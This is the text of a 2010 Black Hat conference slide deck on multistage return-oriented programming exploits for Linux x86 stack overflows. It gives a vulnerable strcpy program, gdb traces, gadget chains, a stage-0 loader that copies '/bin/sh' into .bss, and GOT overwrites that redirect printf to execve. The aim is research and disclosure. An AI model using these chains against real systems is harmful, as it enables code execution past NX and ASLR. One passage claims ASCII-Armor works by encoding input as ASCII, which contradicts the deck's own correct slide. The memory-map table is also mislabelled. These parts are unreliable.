Payload Already Inside: Data re-use for ROP Exploits

Long Le
longld@vnsecurity.net

Black Hat USA Briefing 2010
About Me

- VNSECURITY founding member
- Capture-The-Flag player
  - CLGT Team
Motivation

• Buffer overflow exploit on modern Linux (x86) distribution is difficult
  ▶ Non Executable (NX/XD)
  ▶ Address Space Layout Randomization (ASLR)
  ▶ ASCII-Armor Address Space

• Return-Oriented-Programming (ROP) exploitation technique seems useless?
  ▶ No any practical work on Linux x86
Our contributions

- A generic technique to exploit stack-based buffer overflow that bypasses NX, ASLR and ASCII-Armor protection
  - Multistage ROP exploitation technique
- Make ROP exploits on Linux x86 become practical, easy
  - Practical ROP gadgets catalog
  - Automation tools
Benefits

- NX/ASLR/ASCII-Armor can be completely BYPASSED
- Ideas can be applied to OTHER SYSTEMS
  - Windows
  - Mac OS X
Scope of this talk

- Only Linux x86
- We do not talk about:
  - Compilation protections
    - Stack Protector
  - Mandatory Access Control
    - SELinux
    - AppArmor
Buffer overflow

- The vulnerable program
- Mitigation techniques
- Exploitation techniques
The vulnerable program

```c
#include <string.h>
#include <stdio.h>

int main (int argc, char **argv) {
    char buf[256];
    int i;
    seteuid (getuid());
    if (argc < 2) {
        puts ("Need an argument\n");
        exit (1);
    }
    // vulnerable code
    strcpy (buf, argv[1]);
    printf ("%s\nLen:%d\n", buf, (int)strlen(buf));
    return (0);
}
```

Overflow!
Overflow

- Attacker controlled
  - Execution flow: EIP
  - Stack: ESP
Mitigation techniques

- Non eXcutable
  - Hardware NX/XD bit
  - Emulation (PaX, ExecShield)
- Address Space Layout Randomization (ASLR)
  - stack, heap, library are randomized
- ASCII-Armor Address Space
  - Lib(c) addresses start with NULL byte
### NX / ASLR / ASCII-Armor

#### ASCII-Armor

```bash
$ cat /proc/self/maps
```

<table>
<thead>
<tr>
<th>Address Range</th>
<th>Permissions</th>
<th>Offset</th>
<th>File Descriptor</th>
<th>Offset in File</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>00a97000-00c1d000</td>
<td>r-xp</td>
<td>00000000</td>
<td>fd:00</td>
<td>91231</td>
<td>/lib/libc-2.12.so</td>
</tr>
<tr>
<td>00c1d000-00c1f000</td>
<td>r--p</td>
<td>00185000</td>
<td>fd:00</td>
<td>91231</td>
<td>/lib/libc-2.12.so</td>
</tr>
<tr>
<td>00c1f000-00c20000</td>
<td>rw-p</td>
<td>00187000</td>
<td>fd:00</td>
<td>91231</td>
<td>/lib/libc-2.12.so</td>
</tr>
<tr>
<td>00c20000-00c23000</td>
<td>rw-p</td>
<td>00000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>08048000-08053000</td>
<td>r-xp</td>
<td>00000000</td>
<td>fd:00</td>
<td>21853</td>
<td>/bin/cat</td>
</tr>
<tr>
<td>08053000-08054000</td>
<td>rw-p</td>
<td>0000a000</td>
<td>fd:00</td>
<td>21853</td>
<td>/bin/cat</td>
</tr>
<tr>
<td>09fb2000-09fd3000</td>
<td>rw-p</td>
<td>00000000</td>
<td></td>
<td></td>
<td>[heap]</td>
</tr>
<tr>
<td>b777a000-b777b000</td>
<td>rw-p</td>
<td>00000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>b778a000-b778b000</td>
<td>rw-p</td>
<td>00000000</td>
<td></td>
<td></td>
<td>[stack]</td>
</tr>
<tr>
<td>bfd07000-bfd1c000</td>
<td>rw-p</td>
<td>00000000</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

#### NX

The NX feature prevents code from being executed at a fixed location in memory, making it difficult for attackers to exploit vulnerabilities in the code.

#### ASLR

ASLR (Address Space Layout Randomization) randomizes the memory layout of a program, making it harder for attackers to predict where certain parts of the program are located.

#### ASCII-Armor

ASCII-Armor protects the program from buffer overflows by encoding the input data in ASCII format, making it more difficult for attackers to manipulate the input data to exploit vulnerabilities.
BoF exploitation: code injection

- Traditional in 1990s
  - Everything is static
    - Can perform arbitrary computation
- Does not work with NX
- Difficult with ASLR

Payload already inside: data reuse for ROP exploits
BoF exploitation: return-to-libc

- Bypass NX
- Difficult with ASLR/ASCII-Armor
  - Libc function addresses
  - Location of arguments on stack
  - NULL byte
    - Hard to make chained ret-to-libc calls

<table>
<thead>
<tr>
<th>padding</th>
<th>&amp;system()</th>
<th>&amp;next_func()</th>
<th>&amp;binsh</th>
<th>...</th>
<th>&quot;/bin/sh&quot;</th>
</tr>
</thead>
</table>

Saved EIP

Stack growth
BoF exploitation: ROP (1)

- Based on ret-to-libc and “borrowed code chunks”
- Gadgets: sequence of instructions ending with RET

- **pop ebx ret**
  - Load a value to the register

- **pop edi pop ebp ret**
  - Lift ESP up 8 bytes

- **add [eax], ebx ret**
  - Add register's value to the memory location
BoF exploitation: ROP (2)

- Same strengths and weaknesses as ret-to-libc
- Small number of gadgets from vulnerable binary
Open problems (1)

<table>
<thead>
<tr>
<th>Mitigation</th>
<th>Exploitation (code injection)</th>
<th>Exploitation (ret2libc / ROP)</th>
</tr>
</thead>
<tbody>
<tr>
<td>NX</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>ASLR</td>
<td>Hard</td>
<td>Depends</td>
</tr>
<tr>
<td>ASCII-Armor</td>
<td>Yes</td>
<td>Depends</td>
</tr>
<tr>
<td>NX+ASLR+ASCII-Armor</td>
<td>No</td>
<td>Hard</td>
</tr>
</tbody>
</table>

Our target
## Open problems (2)

<table>
<thead>
<tr>
<th>ASLR</th>
<th>Randomness*</th>
<th>Bypassing</th>
</tr>
</thead>
<tbody>
<tr>
<td>shared library</td>
<td>12 bits</td>
<td>Feasible</td>
</tr>
<tr>
<td>mmap</td>
<td>12 bits</td>
<td>Feasible</td>
</tr>
<tr>
<td>heap</td>
<td>13 bits</td>
<td>Feasible</td>
</tr>
<tr>
<td>stack</td>
<td>19 bits</td>
<td>Hard</td>
</tr>
</tbody>
</table>

*result of running paxtest on Fedora 13*

Main problem
Multistage ROP exploitation technique

- Make a custom stack at fixed location
- Transfer actual payload to the custom stack
  - stage-0
- Bypass NX/ASLR with ROP
  - stage-1
Make a fixed stack (1)

- Why a fixed stack?
  - Bypass ASLR (randomized stack)
  - Control function's arguments
  - Control stack frames

- Where is my fixed stack?
  - Data section of binary
    - Writable
    - Fixed location
    - Address is known in advance
Make a fixed stack (1)

Payload already inside: data reuse for ROP exploits

BH USA 2010
Make a fixed stack (3)

<table>
<thead>
<tr>
<th>Nr</th>
<th>Name</th>
<th>Type</th>
<th>Addr</th>
<th>Off</th>
<th>Size</th>
<th>ES</th>
<th>Flg</th>
<th>Lk</th>
<th>Inf</th>
<th>Al</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>0x08049804</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

|    | interp                           | PROGBITS | 08048134   | 00134 | 00013 | 00 | A   | 0  | 0   | 1  |
|    | note.ABI-tag                     | NOTE     | 08048148   | 00148 | 00020 | 00 | A   | 0  | 0   | 4  |
|    | note.gnu.build-i                | NOTE     | 08048168   | 00168 | 00024 | 00 | A   | 0  | 0   | 4  |
|    | gnu.hash                         | GNU_HASH | 0804818c   | 0018c | 00020 | 04 | A   | 5  | 0   | 4  |
|    | dynsym                           | DYNSYM   | 080481ac   | 001ac | 000b0 | 10 | A   | 6  | 1   | 4  |
|    | dynstr                           | STRTAB   | 0804825c   | 0025c | 00073 | 00 | A   | 0  | 0   | 1  |
|    | gnu.version                      | VERSYM   | 080482d0   | 002d0 | 00016 | 02 | A   | 5  | 0   | 2  |
|    | gnu.version_r                    | VERNEED  | 080482e8   | 002e8 | 00020 | 00 | A   | 6  | 1   | 4  |
|    | rel.dyn                          | REL      | 08048308   | 00308 | 00008 | 08 | A   | 5  | 0   | 4  |
|    | rel.plt                          | REL      | 08048310   | 00310 | 00048 | 08 | A   | 5  | 12  | 4  |
|    | init                             | PROGBITS | 08048358   | 00358 | 00030 | 00 | AX  | 0  | 0   | 16 |
|    | plt                              | PROGBITS | 08048388   | 00388 | 00004 | 00 | AX  | 0  | 0   | 4  |
|    | text                             | PROGBITS | 08048430   | 00430 | 001dc | 00 | AX  | 0  | 0   | 16 |
|    | fini                             | PROGBITS | 0804860c   | 0060c | 0001c | 00 | AX  | 0  | 0   | 4  |
|    | rodata                           | PROGBITS | 08048628   | 00628 | 00028 | 00 | A   | 0  | 0   | 4  |
|    | eh_frame_hdr                     | PROGBITS | 08048650   | 00650 | 00024 | 00 | A   | 0  | 0   | 4  |
|    | eh_frame                         | PROGBITS | 08048674   | 00674 | 00007c| 00 | A   | 0  | 0   | 4  |
|    | ctors                            | PROGBITS | 080496f0   | 006f0 | 00008 | 00 | WA  | 0  | 0   | 4  |
|    | dtors                            | PROGBITS | 080496f8   | 006f8 | 00008 | 00 | WA  | 0  | 0   | 4  |
|    | jcr                              | PROGBITS | 08049700   | 00700 | 00004 | 00 | WA  | 0  | 0   | 4  |
|    | dynamic                          | DYNAMIC  | 08049704   | 00704 | 000c8 | 08 | WA  | 6  | 0   | 4  |
|    | got                              | PROGBITS | 080497cc   | 007cc | 00004 | 04 | WA  | 0  | 0   | 4  |
|    | got.plt                          | PROGBITS | 080497d0   | 007d0 | 00030 | 04 | WA  | 0  | 0   | 4  |
|    | data                             | PROGBITS | 08049800   | 00800 | 00004 | 00 | WA  | 0  | 0   | 4  |
|    | bss                              | NOBITS   | 08049804   | 00804 | 00008 | 00 | WA  | 0  | 0   | 4  |
Transfer payload to the custom stack

- Use memory transfer function
  - `strcpy()` / `sprintf()`
    - ♦ No NULL byte in input
  - Return to PLT (Procedure Linkage Table)
- Transfer byte-per-byte of payload
- Where is my payload?
  - Inside binary
return-to-plt

gdb$ x/i 0x0804852d
    0x804852d <main+73>: call 0x80483c8 <strcpy@plt>

strcpy@PLT

gdb$ x/i 0x80483c8
    0x80483c8 <strcpy@plt>: jmp DWORD PTR ds:0x80497ec

strcpy@GOT

gdb$ x/x 0x80497ec
    0x80497ec <GLOBAL_OFFSET_TABLE_+24>: 0x00b0e430

strcpy@LIBC

gdb$ x/i 0x00b0e430
    0xb0e430 <strcpy>: push ebp
Stage-0 payload loader

- Input: stage-1 payload
- Output: stage-0 payload that transfers stage-1 payload to the custom stack
- How?
  - Pick one or more byte(s)
  - Search in binary for that byte(s)
  - Generate strcpy() call
  - Repeat above steps until no byte left
Stage-0 example

- Transfer "/bin/sh" => 0x08049824

```
strcpy@plt:
  0x0804852e <+74>: call 0x80483c8 <strcpy@plt>

pop-pop-ret:
  0x80484b3 <__do_global_dtors_aux+83>: pop ebx
  0x80484b4 <__do_global_dtors_aux+84>: pop ebp
  0x80484b5 <__do_global_dtors_aux+85>: ret

Byte values and stack layout:
0x8048134 : 0x2f '/'
  ['0x80483c8', '0x80484b3', '0x8049824', '0x8048134']
0x8048137 : 0x62 'b'
  ['0x80483c8', '0x80484b3', '0x8049825', '0x8048137']
0x804813d : 0x696e 'in'
  ['0x80483c8', '0x80484b3', '0x8049826', '0x804813d']
0x8048134 : 0x2f '/'
  ['0x80483c8', '0x80484b3', '0x8049828', '0x8048134']
0x804887b : 0x736800 'sh\x00'
  ['0x80483c8', '0x80484b3', '0x8049829', '0x804887b']
```

● Transfer "/bin/sh" => 0x08049824
Transfer control to the custom stack

- At the end of stage-0
- ROP gadgets

(1) pop ebp; ret
(2) leave; ret

(1) pop ebp; ret
(2) mov esp, ebp; ret
The power of stage-0 loader

- Bypass ASLR
  - All addresses are fixed
- Bypass ASCII-Armor
  - No NULL byte in input
- Generic loader
  - Can transfer any byte value of actual payload
Stage-1 payload: bypass NX/ASLR

- Resolve libc run-time addresses
  - GOT overwriting
  - GOT dereferencing
- Stage-1 payload strategy

*Surgically returning to randomized lib(c)*
Giampaolo Fresi Roglia, Lorenzo Martignoni, Roberto Paleari, Danilo Bruschi
Resolve libc run-time addresses

• The bad:
  ▶ Addresses are randomized (ASLR)

• The good:
  ▶ Offset between two functions is a constant
    ♦ addr(system) - addr/printf) = offset
  ▶ We can calculate any address from a known address in GOT (Global Offset Table)
  ▶ ROP gadgets are available
GOT overwriting (1)

- Favorite method to exploit format string bug

- Steps
  - Load the offset into register
  - Add register to memory location (GOT entry)
  - Return to PLT entry

- ROP Gadgets
  - Load register
  - Add memory

(1) `pop ecx; pop ebx; leave; ret`

(2) `pop ebp; ret`

(3) `add [ebp+0x5b042464] ecx; pop ebp; ret`
GOT overwriting (2)

- `printf()` => `execve()`
GOT dereferencing (1)

- **Steps**
  - Load the offset into register
  - Add the register with memory location (GOT entry)
  - Jump to or call the register

- **ROP gadgets**
  - Load register
  - Add register
  - Jump/call register

```
(1) pop eax; pop ebx; leave; ret
(2) add eax [ebx-0xb8a0008]; lea esp [esp+0x4]; pop ebx; pop ebp; ret
(3) call eax; leave; ret
```
GOT dereferencing (2)

- `printf() => execve()`

Stack growth:

```
0x804410: call eax; leave; ret
0x80445fe: add eax [ebx-0xb8a0008];
       lea esp [esp+0x4]; pop ebx; pop ebp; ret
printf@GOT + 0xb8a0008 = 0x138e97f4
execve() - printf() = 0x54120
0x8044384: pop eax; pop ebx; leave; ret
0x80444e0: call eax; leave; ret
```

Payload already inside: data reuse for ROP exploits
Stage-1 payload strategy

- Chained ret-to-libc calls
  - Possible with a fixed stack
- Return-to-mprotect
  - Works on most of distributions
- ROP shellcode
  - Gadgets from libc
  - Multiple GOT overwrites
Putting all together

- **ROPEME** - Return-Oriented Exploit Made Easy
  - Generate gadgets for binary
  - Search for specific gadgets
  - Sample stage-1 and stage-0 payload generator
DEMO
Practical ROP exploits

- A complete stage-0 loader
- Practical ROP gadgets catalog
- ROP automation
A complete stage-0 loader

- Turn any function to strcpy() / snprintf()
  - GOT overwriting
- ROP loader

(1) pop ecx; ret
(2) pop ebp; ret
(3) add [ebp+0x5b042464] ecx; ret
Practical ROP gadgets catalog

- Less than 10 gadgets?
  - Load register
    - pop reg
  - Add/sub memory
    - add [reg + offset], reg
  - Add/sub register (optional)
    - add reg, [reg + offset]
ROP automation

- Generate and search for required gadgets addresses in vulnerable binary
- Generate stage-1 payload
- Generate stage-0 payload
- Launch exploit
• LibTIFF 3.92 buffer overflow (CVE-2010-2067)
• PoC exploit for “tiffinfo”
  ➤ No strcpy() in binary
  ➤ strcasecmp() => strcpy()
Countermeasures

- Position Independent Executable (PIE)
  - Executable is randomized
  - NULL byte in addresses
  - Prevent return-oriented style exploits
- Not widely adopted by vendors
  - Recompilation efforts
  - Applied for critical applications
Conclusions

- We presented a generic technique to exploit buffer overflow on Linux x86
  - Bypass NX/ASLR/ASCII-Armor
- ROP exploits on Linux x86 now become practical, easy
- Automated tools can be built to generate ROP exploits
Thank you!

Q & A